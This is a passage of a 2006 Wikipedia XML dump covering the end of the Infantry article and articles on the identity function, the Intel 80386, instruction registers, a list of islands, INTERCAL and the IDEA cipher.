'''Pursuit''' is a role that the infantry often assumes.  The objective of pursuit operations is the destruction of enemy forces which are not capable of effectively engaging friendly units before they can build their strength to the point where they are effective.  Infantry traditionally have been the main force to overrun these units in the past, and in modern combat are used to pursue enemy forces in constricted terrain (urban areas in particular), where faster forces, such as armored vehicles are incapable of going or would be exposed to ambush.

'''Escort''' consists of protecting other units from ambush, particularly from other infantry.  This is one of the most important roles for the modern infantry, in particular when operating along side armored vehicles.  In this capacity, infantry essentially conducts patrol on the move, scouring terrain which may hide enemy infantry waiting to ambush friendly vehicles, and identifying enemy strong points for attack by the heavier units.

'''Maneuver''' operations consume much of an infantry unit's time.  Infantry, like all combat units, are often maneuvered to meet battlefield needs, and often must do so under enemy attack.  The infantry must maintain their cohesion and readiness during the move to ensure their usefulness when they reach their objective.  Traditionally, infantry have relied on their own legs for mobility, but modern infantry often uses trucks and armored vehicles for transport.

'''Reserve''' assignments for infantry units involve deployment behind the front, although patrol and security operations are usually maintained in case of enemy infiltration.  This is usually the best time for infantry units to integrate replacements into units and to maintain equipment.  Additionally, soldiers can be rested and general readiness should improve.  However, the unit must be ready for employment at any point.

'''Construction''' can be undertaken either in reserve or on the front, but consists of using infantry troops as labor for construction of field positions, roads, bridges, airfields, and all other manner of structures.  The infantry is often given this assignment due the quantity of men within the unit, although it can lessen a unit's morale and limit the unit's ability to maintain readiness and perform other missions.

== Equipment ==

The equipment of infantry forces has evolved along with the development of military technology in general, but certain constants remain regarding the design and selection of this equipment.  Primary types of equipment are weaponry, protective gear, survival gear, and special equipment.

[[Infantry weapon]]s include all types of personal weapons, i.e. anything that can be handled by individual troops, as well as some small crew-served weapons that can be carried and used by infantry.  Modern infantry weaponry include [[rifle]]s, [[machine gun]]s, shoulder-fired [[rocket launcher]]s and [[missile]]s, and lighter [[mortar (weapon)|mortar]]s and [[grenade launcher]]s.  Older examples of infantry weapons include all sorts of [[melee weapon]]s and some light ranged weapons such as [[spear]]s, [[Bow (weapon)|bows]], and [[sling]]s.  During operations, especially in modern times, infantry have a tendency to scavenge and employ whatever weapons they can acquire in addition to those given them by their superiors.

[[Infantry protective gear]] includes all equipment designed to protect the soldier against enemy attack.  Most protective gear comprises body armor of some type.  Classical and Medieval infantry employed leather and metal armor as defense against both ranged and melee attacks, but with the advent of firearms, such armor could no longer defeat attacks and was discarded.  The return to use of the helmet was prompted by the need to defend against high explosive [[fragmentation]], and further developments in materials led to effective bullet-defeating armor within the weight acceptable for infantry use.  The use of body armor is again becoming widespread amongst infantry units, primarily using [[Kevlar]] technology.  Infantry must also often carry protective measures against chemical and biological attack, including gas masks, counter-agents, and protective suits.

Infantry survival gear includes all of the items soldiers require for day-to-day survival in the combat environment.  These include basic environmental protections, medical supplies, food, and sundries.  Traditionally, infantry have suffered large casualty rates from disease, exposure, and privation--often in excess of those suffered from enemy attacks.  Better equipment of troops in this area greatly reduce this rate of loss.  One of the most valuable pieces of gear is the [[entrenching tool]]--basically a small shovel--which can be employed not only to dig important defenses, but also in a variety of other daily tasks and even as an effective weapon.

Specialized equipment consists of a variety of gear which may or may not be carried depending on the mission and the level of equipment of an army.  Communications gear has become a necessity, as it allows effective command of infantry units over greater distances.  In some units, individual communications are being used to allow the greatest level of flexibility.  Engineering equipment, including demolitions, mines, and other gear, is also commonly carried by the infantry or attached specialists.  A variety of other gear, often relating to a specific mission, or to the particular terrain in which the unit is employed, can be carried by infantry units.

There are some general rules to which all infantry equipment must adhere to be effective and widely adopted:

* Reliability:  Equipment failure is fatal to the infantry, and if equipped with unreliable gear, morale will suffer greatly.  Soldiers tend to prefer reliable proven technology to new, unproven gadgets.  Additionally, the conditions in which infantry operate are often extreme and gear must be able to survive and operate in these condition without fail.
* Utility:  Infantry have very limited weight capacity, and thus gear which doesn't help them do their job will be discarded.
* Availability:  Since infantry units are often large, and must be able to be raised in quantity, a particular tool must be available in sufficient quantity to equip the units.  This means that it must be inexpensive enough to afford in quantity during peacetime, and producible enough to meet wartime demands.
* Simplicity:  Infantry relies on large numbers of troops, often conscripted and therefore of lesser quality than those available to other branches.  An army must be able to train its troops uniformly in minimal time on the tools of the trade.  Overly complex gear will often be useless in combat due to a lack of training or the difficulty of maintenance under field conditions.

== Quotations ==
* &quot;I love the infantry because they are the underdogs.  They are the mud-rain-frost-and-wind boys. They have no comforts, and they even learn to live without the necessities. And in the end they are the guys that wars can't be won without.&quot; [[Ernie Pyle]]
*&quot;I'm convinced that the infantry is the group in the army which gives more and gets less than anybody else.&quot; [[Bill Mauldin]], ''Up Front'' (1945)
*&quot;Infantry is the Queen of Battle.&quot; - slogan of the [[United States Army]]
*&quot;The Air Force and Navy, no matter what they say, are and have always been, delegated to a support position. Bombers can't capture a city. Battleships can't knock out a tank 50 miles inland. These jobs are, and have always been, the role of the common grunt, the leatherneck, the infantryman.&quot; - [[Stephen Ambrose]]
*&quot;But never think that war, no matter how necessary, nor how justified, is not a crime. Ask the infantry and ask the dead.&quot; [[Ernest Hemingway]]
*&quot;To seek out and close with the enemy; to kill or capture him; to seize and hold ground; to repel attack, by day or night, regardless of season, weather or terrain&quot; - The stated role of the Royal Australian Infantry Corps, an Arms Corps of the [[Australian Army]].
*&quot;The infantry doesn't change. We're the only arm of the military where the weapon is the man himself.&quot; [[C.T. Shortis]]

==See also==
* [[Army]]
* [[Combat Infantryman Badge]]
* [[Marine]]
* [[Mechanized infantry]]
* [[Podhale rifles]]
* [[Light Infantry]]
* [[U.S. Army Rangers]]
* [[Military history]]
* [[Military camp]]
* [[Military science]]
* [[Mobile infantry]]
* The [[Military Revolution]]
* [[Zouave]]
* [[Evzones]]
* [[Roman infantry tactics,strategy and battle formations]]
* See [[List of Regiments of Foot]] for the numbered British Army infantry regiments of the [[18th Century|18th]] and early [[19th Century|19th]] centuries. For British infantry regiments by year, see: [[List of British Army regiments (1881)|1881]], [[List of British Army regiments (1962)|1962]], [[List of British Army regiments (1994)|1994]]

==External links==
* [http://www.army.mil/CMH-PG/books/Lineage/in/infantry.htm#2 Infantry, Part I: Regular Army ]
* [http://www.army.mil/CMH-pg/books/Lineage/arcav/arcav.htm Armor-Cavalry, Part I: Regular Army and Army Reserve]
* [http://www.army.mil/CMH-pg/books/Lineage/M-F/index.htm Maneuver and Firepower, The Evolution of Divisions and Separate Brigagdes]
* [http://www.infantrymen.net/ Infantrymen.net, Military reference focusing on the infantry (11b)]
* [http://www.goinfantry.com/ GoInfantry.Com, Military Grunts. An online military community]
*[http://www.isayeret.com isayeret.com - The Israeli Special Forces Database]

[[Category:Infantry| ]]
[[Category:Military occupations]]

&lt;!-- interwiki --&gt;

[[bg:Пехота]]
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[[he:חיל רגלים]]{{Link FA|he}}
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    </revision>
  </page>
  <page>
    <title>Identity function</title>
    <id>15069</id>
    <revision>
      <id>32297276</id>
      <timestamp>2005-12-21T23:45:00Z</timestamp>
      <contributor>
        <username>YurikBot</username>
        <id>271058</id>
      </contributor>
      <minor />
      <comment>robot  Adding: sv</comment>
      <text xml:space="preserve">In [[mathematics]], an '''identity function''', also called '''identity map''' or '''identity transformation''', is a [[function (mathematics)|function]] which does not have any effect: it always returns the same value that was used as its argument. In other words, the identity function is the function ''f''(''x'')&amp;nbsp;=&amp;nbsp;''x''.

==Definition==
Formally, if ''M'' is a [[set]], the identity function ''f'' on ''M'' is defined to be that function with [[domain (mathematics)|domain]] and [[codomain]] ''M'' which satisfies
:''f''(''x'') = ''x'' &amp;nbsp;&amp;nbsp;&amp;nbsp;for all elements ''x'' in ''M''.

The identity function ''f'' on ''M'' is often denoted by id&lt;sub&gt;''M''&lt;/sub&gt; or 1&lt;sub&gt;''M''&lt;/sub&gt;.

==Algebraic property==
If ''f'' : ''M''&amp;nbsp;&amp;rarr;&amp;nbsp;''N'' is any function, then we have ''f'' &lt;small&gt;o&lt;/small&gt; id&lt;sub&gt;''M''&lt;/sub&gt; = ''f'' = id&lt;sub&gt;''N''&lt;/sub&gt; &lt;small&gt;o&lt;/small&gt; ''f'' (where &quot;&lt;small&gt;o&lt;/small&gt;&quot; denotes [[function composition]]). In particular, id&lt;sub&gt;''M''&lt;/sub&gt; is the [[identity element]] of the [[monoid]] of all functions from ''M'' to ''M''.

Since the identity element of a monoid is [[unique]], one can alternately define the identity function on ''M'' to be this identity element. Such a definition generalizes to the concept of an [[identity morphism]] in [[category theory]], where the [[endomorphism]]s of ''M'' need not be functions.

==Examples==
*The identity function on the positive [[integer]]s is a [[completely multiplicative function]] (essentially multiplication by 1), considered in [[number theory]]. 
*In an ''n''-dimensional [[vector space]] the identity function is represented by the [[identity matrix]] ''I''&lt;sub&gt;''n''&lt;/sub&gt;, regardless of the [[Basis (linear algebra)|basis]].
*In a [[metric space]] the identity is trivially an [[isometry]]. An object without any [[symmetry]] has as [[symmetry group]] the trivial group only containing this isometry (symmetry type ''C&lt;sub&gt;1&lt;/sub&gt;).

== See also ==
*[[Inclusion map]]

[[Category:Elementary mathematics]]

[[de:Identische Abbildung]]
[[fr:Application identique]]
[[pl:Odwzorowanie tożsamościowe]]
[[sv:Identitetsfunktion]]</text>
    </revision>
  </page>
  <page>
    <title>Intel 80386</title>
    <id>15070</id>
    <revision>
      <id>40981189</id>
      <timestamp>2006-02-24T07:01:40Z</timestamp>
      <contributor>
        <username>Denis C.</username>
        <id>343233</id>
      </contributor>
      <minor />
      <comment>/* Team */ smells like vandalism</comment>
      <text xml:space="preserve">[[Image: Intel_i386.jpg|thumb|right|200px|An Intel 80386 Microprocessor.]]

The '''Intel 80386''' is a [[microprocessor]] which was used as the [[central processing unit|central processing unit (CPU)]] of many [[personal computer]]s from [[1986]] until [[1994]] and later.  During its design phase the processor was code-named simply &quot;P3&quot;, the third-generation processor in the [[x86]] line, but was and is frequently referred to as the '''i386'''.  Designed and manufactured by [[Intel]], the i386 processor was [[tape-out|taped-out]] in October of 1985.  Intel decided against producing the chip before then, as the cost of production would have been uneconomic.  Full-function chips were first delivered to customers in 1986. [[Motherboard]]s for 386-based computer systems were highly elaborate and expensive to produce, but were rationalised upon the 386's mainstream adoption.

The processor was a significant evolution in a long line of processors that stretched back to the [[Intel 8008]].  The predecessor of the 80386 was the [[Intel 80286]], a [[16-bit]] processor with a [[memory segment|segment]]-based memory management and protection system.  The 80386 added a [[32-bit]] architecture and a [[paging]] translation unit, which made it much easier to implement operating systems
which used [[virtual memory]].

The 80386 featured three operating modes: '''real''' mode, '''protected''' mode and '''virtual''' mode. In the real mode, the 80386 (like the 80286) would run just as a fast 80186. The protected mode allowed the use of all the possibilities of the 286 and the protected mode extension of the 386, especially addressing up to 4 GB of memory. Finally, the virtual 8086(or ''V86'') mode made it possible to run one or more virtual 8086 machines in a protected environment.   &lt;!--, such as [[UNIX]]. or OS/2, W2K.. --&gt;
[[Image:80386DX_arch.png|300px|thumb|The 386DX architecture.]]

Though Intel would shortly introduce the [[Intel 80486|80486]] and eventually the [[Intel Pentium]] line of processors, the support in the 386 for the 32-bit [[flat memory]] model would be arguably the most important feature change until the release of  [[EM64T]] in [[2004]]. (Other microprocessor architectures, such as the [[Motorola 68000]], had long since supported a &quot;flat&quot; 32-bit addressing model.)  Most applications running on current Intel-based personal computers will still run on the older 80386, albeit very slowly; there were relatively few instructions added to the main instruction set in later generations, and in most cases their usage can be avoided.  Building a program for the [[80286]] was often much harder.

Early 80386s had a bug in the 32-bit multiply instruction which would leave the high word in the result undefined. Once discovered, such processors were stamped '16-bit SW only'. This bug was checked for by programs such as [[Microsoft Windows]] which would issue a warning message.

Late in the 80386's production run, Intel introduced the 80386SX, which was meant to be a low cost version of the 386 line. The SX series of chips was 32-bit internally, but had a 16-bit external bus (in much the same way that the [[8088]] in the original IBM PC was a lower cost version of the [[8086]]) and so no 32-bit physical address space extension.  The original 80386 was subsequently renamed the 80386DX to avoid confusion.  Neither CPU included a math [[coprocessor]] (most motherboards included a socket for an [[Intel 80387|80387]]), though the naming would cause some head-scratching later when the 80486 came in a DX variant that did include [[floating-point]] capability (which was physically present but disabled in early 486SXs).

The 386SL was introduced as an alternative processor for [[laptop computer]]s. The processor offered several power management options (e.g. [[System Management Mode|SMM]]), as well as different &quot;sleep&quot; modes to conserve [[battery (electricity)|battery]] power. It also contained support for an external [[cache]] of 16 to 64 KB. The extra functions caused this variant to have over 3 times as many [[transistor]]s as the 386DX. The 386SL was only available in one clock speed, 25 MHz. [http://www.informit.com/articles/article.asp?p=130978&amp;seqNum=27&amp;rl=1]

An embedded version of the chip, the [[Intel 80386EX|386EX]], was produced later, and was successfully used in space applications.
[[Image:Am386DX40.jpg|200px|right|thumb|The AMD Am386DX-40]]

Because of the high degree of compatibility, the range of processors compatible with the 80386 is often collectively termed the ''i386 architecture''; the instruction set for the architecture is now known as [[IA-32]] or, informally, ''i386''.

From a business perspective, the i386 was significant because it was the first significant microprocessor to be [[single-sourced]] &amp;ndash; it was available only from Intel Corp.  Prior to this, the difficulty of making chips and the uncertainty of reliable supply required that any mass-market semiconductor be [[multi-sourced]], that is, made by two or more manufacturers, the second and subsequent ones manufacturing under license from the designer.  Single-sourcing the i386 allowed Intel greater control over its development and substantially greater profits in later years.  However, [[AMD]] introduced its compatible [[Am386]] processor in March 1991 after overcoming legal obstacles, thus breaking Intel's monopoly.


==Team==
*John Crawford, chief architect
*Jim Slager, chief engineer
*Patrick Gelsinger
*Riaz Haq
*Gene Hill
*Jan Wiliam L. Prak
*David Vannier
*Joseph &quot;Chip&quot; Krauskopf
*Ken Shoemaker
*Paul Ries
*Saurabha Radhika

== External links ==
* [http://www.cpu-collection.de/?tn=1&amp;l0=cl&amp;l1=386 Intel 80386 images and descriptions at cpu-collection.de]
* [http://www.online.ee/~andre/i80386/ Intel 80386 Programmer's Reference 1986]
* [http://www.inteltechnology.net/ Intel Technology]
* [http://www.cpu-info.com/index2.php?mainid=html/cpu/386.php CPU-INFO: 80386, indepth processor history]

{{Intel_processors}}

 &lt;!-- note: &quot;8386&quot; to get chronological sorting --&gt;

[[Category:x86 microprocessors|Intel 386]]

[[cs:Intel 80386]]
[[de:80386]]
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[[ko:인텔 80386]]
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[[lt:I386]]
[[nl:80386 (processor)]]
[[ja:Intel 80386]]
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    </revision>
  </page>
  <page>
    <title>Instruction register</title>
    <id>15072</id>
    <revision>
      <id>36003381</id>
      <timestamp>2006-01-20T21:05:41Z</timestamp>
      <contributor>
        <username>Benandorsqueaks</username>
        <id>409210</id>
      </contributor>
      <minor />
      <text xml:space="preserve">In [[computing]], an '''instruction register''' is the part of a [[Central processing unit|CPU]]'s [[control unit]] that stores the instruction currently being executed.  In simple processors each instruction to be executed is loaded into the instruction register which holds it while it is decoded, prepared and ultimately executed, which can take several steps.  More complicated processors use a [[instruction pipeline|pipeline of instruction registers]] where each stage of the pipeline does part of the decoding, preparation or execution and then passes it to the next stage for its step.  Modern processors can even do some of the steps of out of order as decoding on several instructions is done in parallel.

Decoding the [[opcode]] in the instruction register includes determining the instruction, determining where its operands are in memory, retrieving the operands from memory, allocating processor resources to execute the command (in [[superscalar]] processors), etc.

[[Category:Digital electronics]]
[[Category:Computer hardware]]
[[Category:Computer architecture]]
{{compu-hardware-stub}}

[[ja:命令レジスタ]]</text>
    </revision>
  </page>
  <page>
    <title>List of islands</title>
    <id>15073</id>
    <revision>
      <id>36184931</id>
      <timestamp>2006-01-22T05:51:23Z</timestamp>
      <contributor>
        <username>Alanmak</username>
        <id>166025</id>
      </contributor>
      <comment>/* List of islands of Asia */</comment>
      <text xml:space="preserve">This is a list of [[island]]s in the world grouped by [[ocean]]s and by [[continent]]s.

== List of islands by continent ==
*[[List of islands of Africa]]
*[[List of islands of Antarctica and the Southern Ocean]]
*[[List of islands of Australia]]
*[[List of islands of Asia]]
*[[List of islands of Europe]]
*[[List of islands of North America]]
*[[List of islands of Central America]]
*[[List of islands of South America]]

== List of islands by ocean or sea ==
*[[List of islands in the Adriatic Sea]]
*[[List of islands in the Aegean Sea]]
*[[List of islands in the Arctic Ocean]]
*[[List of islands in the Atlantic Ocean]]
*[[List of islands in the Baltic Sea]]
*[[List of islands in the Black Sea]]
*[[List of islands in the Caribbean]]
*[[List of islands in the East China Sea]]
*[[List of islands in the Indian Ocean]]
*[[List of islands in the Ionean Sea]]
*[[List of islands in the Mediterranean Sea]]
*[[List of islands in the Pacific Ocean]]
*[[List of islands in the Persian Gulf]]
*[[List of islands in the Sea of Crete]]
*[[List of islands in the Sea of Marmara]]
*[[List of islands in the South China Sea]]
*[[List of islands in the Southern Ocean]]
*[[List of islands in the Tyrrhenian Sea]]

== List of islands of Asia ==

*[[List of islands of Cambodia]]
*[[List of islands of the People's Republic of China]] 
**[[Islands of Hong Kong|List of islands of Hong Kong]]
**[[List of islands of Macau]]
*[[List of islands of the Republic of China|List of islands of the Republic of China (Taiwan)]] 
*[[List of islands of India]]
*[[List of islands of Indonesia]], [[Islands of Indonesia]]  
*[[List of islands of Iran]]
*[[List of islands of Japan]]
*[[List of islands of Kuwait]]
*[[List of islands of Malaysia]]
*[[Maldives]]
*[[List of islands of Myanmar]]
*[[List of islands of the Philippines]]
*[[List of islands of Russia]]
*[[List of islands of Singapore]]
*[[List of islands of South Korea]]
*[[List of islands of Sri Lanka]]
*[[List of islands of Thailand]]
*[[List of islands of Vietnam]]

*Disputed islands
**[[South China Sea Islands]]
***[[Paracel Islands]]
****[[Duncan Island]]
****[[Woody Island]] 
***[[Spratly Islands]]
***[[Pratas Islands]]
***[[Macclesfield Bank]]
**[[Kuril Islands dispute|Northern territories (southern Kurile islands)]]
***[[Kunashir]]
***[[Iturup]]
***[[Shikotan]]
***[[Habomai]]
**[[Senkaku Islands|Senkaku Islands / Tiaoyutai Islands]]
**[[Liancourt Rocks]]

== List of islands of Europe ==
*[[List of islands of Albania]]
*[[List of islands of Bulgaria]]
*[[List of islands of Croatia]]
*[[List of islands of Cyprus]]
*[[List of islands of Denmark]] 
*[[List of islands of the Faroe Islands]] 
*[[List of islands of Estonia]]
*[[List of islands of Finland]]
*[[List of islands of France]]
*[[List of islands of Germany]]
*[[List of islands of Greece]]
*[[List of islands of Hungary]]
*[[List of islands of Iceland]]
*[[List of islands of Ireland]]
*[[List of islands of Italy]]
*[[List of islands of Malta]]
*[[List of islands of the Netherlands]]
*[[List of islands of Norway]]
*[[List of islands of Poland]]
*[[List of islands of Portugal]]
*[[List of islands of Romania]]
*[[List of islands of Spain]]
*[[List of islands of Sweden]]
*[[List of islands of Switzerland]]
*[[List of islands of Turkey]]
*[[List of islands of the United Kingdom]]

== List of islands of North and Central America ==

*[[List of islands of Belize]]
*[[List of islands of Canada]]
*[[List of islands of Honduras]]
*[[List of islands of Mexico]]
*[[List of islands of Panama]]
*[[List of islands of the United States]]
*[[Islands of the Great Lakes]]

== List of islands of Oceania ==

*[[List of islands in the Pacific Ocean]]
*[[List of islands of Australia]]
*[[Islands of New Zealand|List of islands of New Zealand]]

== See also ==

*[[List of islands by name]]
*[[List of islands by population]]
*[[List of islands by size]]
*[[List of uninhabited islands]]
*[[List of artificial islands]]
*[[Phantom island]]

[[Category:Islands| ]]
[[Category:Lists of islands| ]]

[[ang:Getalu īega]]
[[ca:Illes del món]]
[[de:Liste der Inseln]]
[[et:Maailma saarte loend]]
[[fr:Liste des listes d'îles]]
[[ja:島の一覧]]
[[pl:Wyspy świata]]
[[pt:Listas de ilhas]]</text>
    </revision>
  </page>
  <page>
    <title>INTERCAL</title>
    <id>15075</id>
    <revision>
      <id>39767104</id>
      <timestamp>2006-02-15T19:12:14Z</timestamp>
      <contributor>
        <username>Emurphy42</username>
        <id>587537</id>
      </contributor>
      <minor />
      <comment>clarify commentary on IOCCC etc.</comment>
      <text xml:space="preserve">'''INTERCAL''', [[programming language]] [[parody]], is the [[canonical]] [[esoteric programming language]] created by [[Don Woods]] and [[James Lyon]], two [[Princeton University]] students, in [[1972]].  It satirizes aspects of the [[FORTRAN]] and [[COBOL]] [[programming language]]s, as well as the proliferation of proposed language constructs and notations in the 1960s.  Consequently, the humour may appear rather dated to modern readers brought up with [[C programming language|C]] or [[Java programming language|Java]].

The current version, C-INTERCAL, is maintained by [[Eric S. Raymond]].  INTERCAL is said by the original authors to stand for &quot;Compiler Language With No Pronounceable Acronym&quot;. 

INTERCAL is purposely different from all other computer languages.  Common operations in other languages have cryptic and redundant syntax in INTERCAL.  From the INTERCAL Reference Manual: 

:It is a well-known and oft-demonstrated fact that a person whose work is incomprehensible is held in high esteem. For example, if one were to state that the simplest way to store a value of 65536 in a 32-bit INTERCAL variable is:

::&lt;pre&gt;DO :1 &lt;- #0&amp;cent;#256&lt;/pre&gt;

:any sensible programmer would say that that was absurd. Since this is indeed the simplest method, the programmer would be made to look foolish in front of his boss, who would of course have happened to turn up, as bosses are wont to do. The effect would be no less devastating for the programmer having been correct.

The INTERCAL manual also contains many paradoxical, nonsensical, or otherwise humorous instructions:

:Caution! Under no circumstances confuse the mesh with the interleave operator, except under confusing circumstances!

INTERCAL has many other features designed to make it even more aesthetically unpleasing to the programmer: it uses statements such as &quot;READ OUT&quot;, &quot;IGNORE&quot;, &quot;FORGET&quot; and &quot;PLEASE&quot;.  The INTERCAL manual gives unusual names for all non-alphanumeric [[ASCII]] characters: single and double quotes are &quot;sparks&quot; and &quot;rabbit ears&quot; respectively.  The equivalent of a &quot;half mesh&quot; or equals sign in most programming languages is a &quot;&lt;-&quot;, referred to as &quot;gets&quot; and made up of an &quot;angle&quot; and a &quot;worm&quot;.

The original Princeton implementation used [[punched card]]s and the [[EBCDIC]] character set.  In order to allow INTERCAL to run on computers using [[ASCII]], substitutions for two characters had to be made:  $ substituted for &amp;cent; as the mingle operator to &quot;represent the increasing cost of software in relation to hardware&quot; and ? was substituted for &amp;forall; as the unary exclusive-or operator to &quot;correctly express the average person's reaction on first encountering exclusive-or&quot;.

The [[Usenet]] newsgroup [http://groups.google.com/groups?q=alt.lang.intercal alt.lang.intercal] is devoted to the study and appreciation of INTERCAL and other esoteric languages.

Despite the language's being intentionally obtuse and wordy, INTERCAL is nevertheless [[Turing-complete]]: given enough memory, INTERCAL can solve any problem that a universal [[Turing machine]] can solve.  It does this very slowly, however.  A [[Sieve of Eratosthenes]] benchmark, computing all prime numbers less than 65536, was tested on a [[Sun Microsystems|Sun]] SPARCStation-1.  In C, it took less than 0.5 seconds; the same program in INTERCAL took over seventeen hours. (Stross, 1992)

It should be noted that almost any programming language allows [[notation]]al horrors as great as or greater than INTERCAL's, as demonstrated in contests such as the [[International Obfuscated C Code Contest]].  However, these are generally intentional efforts to create unreadable code, in contrast to INTERCAL's design forcing virtually all code to be unreadable.

According to the INTERCAL manual, &quot;the aim in designing INTERCAL was to have no precedents&quot;, supposedly neither in flow control features, nor in data manipulation operators.  The designers were partially successful; the only known precedent is a machine instruction in a Soviet mainframe computer [[BESM-6]], released in [[1967]], that is effectively equivalent to INTERCAL's &quot;select&quot; operator.

== Dialects ==
The original Woods-Lyon INTERCAL was very limited in its [[input/output]] capabilities: the only acceptable input was numbers with the digits spelled out, and the only output was an extended version of [[Roman numerals]].

The C-INTERCAL reimplementation, being available on the Internet, has made the language more popular with devotees of esoteric programming languages.  The C-INTERCAL dialect has a few differences from original INTERCAL and introduced a few new features, such as a [[COMEFROM|COME FROM]] statement and a means of doing text I/O based on the [[Turing Text Model]].

The authors of C-INTERCAL also created the TriINTERCAL variant, based on the [[ternary]] system and generalising INTERCAL's set of operators.

A more recent variant is Threaded Intercal, which extends the functionality of COME FROM to support [[multithreading]].

== Hello, world ==

The traditional [[Hello world program|&quot;Hello, world!&quot; program]] demonstrates how different INTERCAL is from standard programming languages.  In C, it reads as follows:

&lt;pre&gt;
        #include &lt;stdio.h&gt;
        int main(void) {
          printf(&quot;hello, world\n&quot;);
          return 0;
        }
&lt;/pre&gt;

The equivalent program in C-INTERCAL is longer and harder to read:

&lt;pre&gt;
        DO ,1 &lt;- #13
        PLEASE DO ,1 SUB #1 &lt;- #234
        DO ,1 SUB #2 &lt;- #112
        DO ,1 SUB #3 &lt;- #112
        DO ,1 SUB #4 &lt;- #0
        DO ,1 SUB #5 &lt;- #64
        DO ,1 SUB #6 &lt;- #194
        DO ,1 SUB #7 &lt;- #48
        PLEASE DO ,1 SUB #8 &lt;- #22
        DO ,1 SUB #9 &lt;- #248
        DO ,1 SUB #10 &lt;- #168
        DO ,1 SUB #11 &lt;- #24
        DO ,1 SUB #12 &lt;- #16
        DO ,1 SUB #13 &lt;- #214
        PLEASE READ OUT ,1
        PLEASE GIVE UP
&lt;/pre&gt;

== External links ==

*[http://www.catb.org/~esr/intercal/ INTERCAL home page on the Web].
*[http://www.muppetlabs.com/~breadbox/intercal/ INTERCAL Resources on the Web], including several implementations
*[http://www.catb.org/~esr/intercal/stross.html INTERCAL &amp;mdash; the Language from Hell] ([[Charles Stross]], ''Computer Shopper'' [UK], September 1992)
*[http://www.progsoc.uts.edu.au/~sbg/intercal/intercal.html INTERCAL reference manual]
*[http://www.progsoc.uts.edu.au/~sbg/intercal/ick.html C-INTERCAL supplemental reference manual]
*[http://www.cse.unsw.edu.au/~malcolmr/intercal/threaded.html Threaded Intercal]
----
Part of an earlier version of this article contains text from [http://www.catb.org/~esr/jargon/ The Jargon File 4.2.3 Mar 2001].
[[Category:Esoteric programming languages]]

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[[sv:INTERCAL]]</text>
    </revision>
  </page>
  <page>
    <title>International Data Encryption Algorithm</title>
    <id>15076</id>
    <revision>
      <id>34872905</id>
      <timestamp>2006-01-12T09:53:32Z</timestamp>
      <contributor>
        <username>RuM</username>
        <id>191732</id>
      </contributor>
      <minor />
      <comment>interwiki cs</comment>
      <text xml:space="preserve">{{Infobox Block Ciphers|
  fullName        = IDEA |
  image           = International Data Encryption Algorithm InfoBox Diagram.png |
  caption         = An encryption round of IDEA |
  yearPublished   = [[1991]] |
  derivedFrom     = PES |
  derivedTo       = [[MESH]], [[Akelarre]], [[FOX (cipher)|FOX]] (IDEA NXT) |
  designers       = [[James Massey]], [[Xuejia Lai]] |
  blockSize       = 64 bits |
  keySize         = 128 bits |
  cipherStructure = [[Substitution-permutation network]] |
  rounds          = 8.5 |
  cryptanalysis   = A collision attack requiring 2&lt;sup&gt;24&lt;/sup&gt; [[chosen plaintext]]s breaks 5 rounds with a complexity of 2&lt;sup&gt;126&lt;/sup&gt; (Demirci et al, 2003).
}}

In [[cryptography]], the '''International Data Encryption Algorithm''' ('''IDEA''') is a [[block cipher]] designed by Xuejia Lai(來學嘉) and [[James L. Massey]] of [[ETH-Zürich]] and was first described in [[1991]]. The algorithm was intended as a replacement for the [[Data Encryption Standard]]. IDEA is a minor revision of an earlier [[cipher]], '''PES (Proposed Encryption Standard)'''; IDEA was originally called '''IPES''' ('''Improved PES''').

The cipher was designed under a research contract with the Hasler Foundation, which became part of Ascom-Tech AG. The cipher is patented in a number of countries but is freely available for non-commercial use. The name &quot;IDEA&quot; is also a [[trademark]]. The [[patent]]s will expire in [[2010]]&amp;ndash;[[2011]]. Today, IDEA is licensed worldwide by MediaCrypt.

IDEA was used in [[Pretty Good Privacy]] (PGP) V2.0, and was incorporated after the original cipher used in v1.0 (&quot;Bass-O-Matic&quot;) was found to be insecure. It is an optional algorithm in [[OpenPGP]].

==Operation== 
&lt;!-- notation: would like to use the LaTeX symbols &lt;math&gt;\odot&lt;/math&gt; and &lt;math&gt;\boxplus&lt;/math&gt;, but these are not yet supported by the software --&gt;
IDEA operates on 64-bit [[block size (cryptography)|blocks]] using a 128-bit [[key (cryptography)|key]], and consists of a series of eight identical transformations (a ''round'', see the illustration) and an output transformation (the ''half-round''). The processes for encryption and decryption are similar. IDEA derives much of its security by interleaving operations from different [[group (mathematics)|groups]] &amp;mdash; [[modular arithmetic|modular]] addition and multiplication, and bitwise [[XOR|eXclusive OR (XOR)]] &amp;mdash; which are algebraically &quot;incompatible&quot; in some sense. In more detail, these operators, which all deal with 16-bit quantities, are:

* Bitwise [[XOR|eXclusive OR]] (denoted with a blue &amp;oplus;).
* Addition modulo 2&lt;sup&gt;16&lt;/sup&gt; (denoted with a green [[Image:Boxplus.png|boxplus]]). 
* Multiplication modulo 2&lt;sup&gt;16&lt;/sup&gt;+1, where the all-zero word (0x0000) is interpreted as 2&lt;sup&gt;16&lt;/sup&gt; (denoted by a red [[Image:Odot.png|odot]]).

==Security==
The designers analysed IDEA to measure its strength against [[differential cryptanalysis]] and concluded that it is immune under certain assumptions. No successful [[linear cryptanalysis|linear]] or algebraic weaknesses have been reported. Some classes of [[weak key]]s have been found &amp;mdash; E.g. (Daemen et al, 1994) &amp;mdash; but these are of little concern in practice, being so rare as to be unnecessary to avoid explicitly. [[As of 2004]], the best attack which applies to all keys can break IDEA reduced to 5 rounds (the full IDEA cipher uses 8.5 rounds) (Demirci et al, 2003).

[[Bruce Schneier]] thought highly of IDEA in [[1996]], writing, &quot;In my opinion, it is the best and most secure block algorithm available to the public at this time.&quot; (''Applied Cryptography'', 2nd ed.) However, by [[1999]] he was no longer recommending IDEA due to the availability of faster algorithms, some progress in its cryptanalysis, and the issue of patents [http://slashdot.org/interviews/99/10/29/0832246.shtml].

IDEA is patented in [[Austria]], [[France]], [[Germany]], [[Italy]], [[Netherlands]], [[Spain]], [[Sweden]], [[Switzerland]], [[United Kingdom]], (European patent EP-B-0482154), the [[United States]] ([http://patft.uspto.gov/netacgi/nph-Parser?u=/netahtml/srchnum.htm&amp;Sect1=PTO1&amp;Sect2=HITOFF&amp;p=1&amp;r=1&amp;l=50&amp;f=G&amp;d=PALL&amp;s1=5214703.WKU.&amp;OS=PN/5214703&amp;RS=PN/5214703 US patent #5,214,703]) and [[Japan]] (JP 3225440).

MediaCrypt is now also offering a successor to IDEA and focuses on its new cipher (official release on May 2005), IDEA NXT, which is in fact [[FOX (cipher)|FOX]].

==References==
